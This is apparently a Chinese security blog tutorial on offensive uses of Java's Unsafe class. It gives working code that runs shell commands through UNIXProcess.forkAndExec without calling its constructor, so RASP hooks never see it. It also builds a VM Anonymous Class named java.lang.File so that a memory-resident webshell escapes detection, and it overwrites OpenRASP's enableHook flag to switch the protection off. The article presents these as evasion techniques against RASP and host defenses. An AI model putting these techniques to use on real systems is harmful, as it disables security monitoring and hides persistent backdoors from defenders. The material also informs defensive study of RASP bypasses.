内存级别攻防利器-UnSafe的各种利用姿势

UnSafe简介

基础概念

java和C语言相比有一个很大的区别,便是java没有指针,无需进行内存空间的操作(其中包含了内存的分配、内存的回收等等),这样大大简化了Java语言编写的难度,但与此同时,也导致Java语言失去了很多的灵活性。而UnSafe类的出现,便是为了弥补这种便利性的缺失,使Java也具备内存管理能力,但一旦操作不当,很容易造成内存泄漏等问题,这也是这个class给定义为UnSafe的原因。

关键API

下面给出的是笔者觉得比较好用的利用的API。

1
2
3
4
5
6
7
8
9
10
//将引用值存储到给定的Java变量中,根据变量的类型不同还有putBoolean、putInt等等
public native void putObject(Object o, long offset, Object x);
//返回给定的非静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long objectFieldOffset(Field f);
//返回给定的静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long staticFieldOffset(Field f);
//生产VM Anonymous Class,注意这个java中常说的匿名类并不是同一概念,该方法的出现是为了为java提供动态编译特性,在Lambda表达式代码中使用较多,由该函数生产的Class有一个很重要的特性:这个类被创建之后并不会丢到上SystemDictonary里,也就是说我们通过正常的类查找,比如Class.forName等api是无法去查到这个类是否被定义过的。
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
//通过Class对象创建一个类的实例,不需要调用其构造函数、初始化代码、JVM安全检查等等。同时,它抑制修饰符检测,也就是即使构造器是private修饰的也能通过此方法实例化。
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

如何获取UnSafe

Unsafe类使用了单例模式,需要通过一个静态方法getUnsafe()来获取。但Unsafe类做了限制,如果是普通的调用的话,它会抛出一个SecurityException异常;只有由主类加载器加载的类才能调用这个方法。

目前大部分UnSafe的使用者都会使用反射的方式来获取UnSafe的实例,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static Unsafe getUnsafe() {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

实战讲解

更深层的命令执行

随着RASP的发展,JNI的利用不断的被提上讨论范围,就命令执行这种利用而言,外部流出的大部分JNI的利用都是需要依赖第三方库的,但实际上,就linux来看,Runtime.getRuntime().exec() 本身的最底层就是一个JNI函数,

1
2
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)

那么为什么我们讨论JNI利用的时候,不去直接反射调用forkAndExec函数呢,很重要的一个问题就是,这个函数不是静态方法,需要生成类实例,我们就需要往上层去调用UNIXProcess的构造方法去生成实例,而这样这种利用方式便不再是JNI的调用了,因为你调用了JAVA层的构造函数,这便是RASP产品可以触及到的领域了,细心观察也能发现目前大部分RASP产品都把命令执行功能的检测放到了UNIXProcess的构造方法上。

但是有了UnSafe的allocateInstance函数,一切就会变得简单起来,它可以在不调用UNIXProcess构造方法的前提下生成实例,并且由于allocateInstance本身也是native函数,那么实际上我们整个命令执行的关键点上都是通过JNI来完成了,可以完美避开RASP的防御,下面给出代码示例,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "open /System/Applications/Calculator.app/";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

更隐蔽的内存马

内存马问题一向是安全产品中一个比较头疼的问题,一旦再在通信流量上进行了加密处理,那么无论是WAF(加密流量不可解)还是主机防御(木马存在于内存中不落盘)产品都比较难以去发现它。

但随着安全圈大佬们的深入研究,渐渐还是给出了一个较为可行的方案:通过Java Instrumentation进入到JVM内存之中,对JVM所有的加载的可能是木马的Class进行分析,一旦匹配到了较为明显的内存马特征,便对内存中的这个Class进行删除或则还原。目前比较常见的内存马特征有以下几种:

1
2
3
4
1、class的名字是否包含常见的恶意类名称
2、加载该class的classloader是否是危险的classloader,如TransletClassLoader或apache becl的classloader等等。
3、该class是否有落盘 -----该条属于明显特征
4、class中是否包含命令执行的恶意代码

而通过defineAnonymousClass生成的VM Anonymous Class具备如下特征:

1
2
3
4
5
6
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。  ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

从现阶段内存马的检测模式为参考,可以发现VM Anonymous Class的特性将会大大影响到它的检测,从而形成更加隐蔽且难以处理的内存马。下面给出一段生成VM Anonymous Class的示例代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("java.lang.File");
//这里可以对内存马的class文件进行定制
byte[] data = ctClass.toBytecode();

Class memClass = getAnonymousMemShell(data);
Object memShellObj = memClass.newInstance();
//在这里可以把内存马的实例注入到内存中

String className = memClass.getName();
//可以打印一下className,发现其类名极具欺骗性
System.out.println(className);
//这里可以通过Class.forName尝试查找匿名类,会抛出异常
Class.forName(className);
}

public static Class getAnonymousMemShell(byte[] data){
Unsafe unsafe = Utils.getUnsafe();
return unsafe.defineAnonymousClass(File.class, data, null);
}

突破反射防御机制

近段时间,RASP攻防开始被不断聊起,关于RASP攻防,有一个基于反射的利用方式的提出具备十分强的杀伤性,其基本思路便是一旦攻击者拿到了一个代码执行权限,那么他便可以通过反射的方式取得RASP运行在内存中的开关变量(多为boolean或者AtomicBoolean类型),并把它由true修改为false,就可以使RASP得的防护完全失效。注意,开关变量只是其中一个最具代表性的思路,我们当然有更多的方法去破坏RASP的运行模式,如置空检测逻辑代码(如果RASP使用了js、lua等别的引擎),置空黑名单、添加白名单等

正是由于反射可能会造成较大的危害,不少RASP便有了恶意反射调用模块,jdk本身也有一个sun.reflect.Reflection来限制一些不安全的反射的调用,那么这个时候UnSafe模块便可以通过直接操作内存从而绕过代码层对于恶意反射调用的防御。示例代码如下,

反射修改openRASP的开关变量,将openRASP检测开关置为false,从而使openRASP完全失效。

1
2
3
4
5
6
7
8
9
10
11
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}

总结

由于UnSafe的大部分关键操作都是直接通过JNI去实现的,所以UnSafe的相关危险行为也都是RASP难以防护到的。而UnSafe相关的攻击代码目前也比较少,相关函数的指纹也不在大部分内容检测软件中,所以现阶段对于不少主机防御产品也能起到不小的作用。

最后在末尾附上一张UnSafe功能介绍图。

注:该图片系网上找的,未能发现图片源头,在此提前和作者道个歉。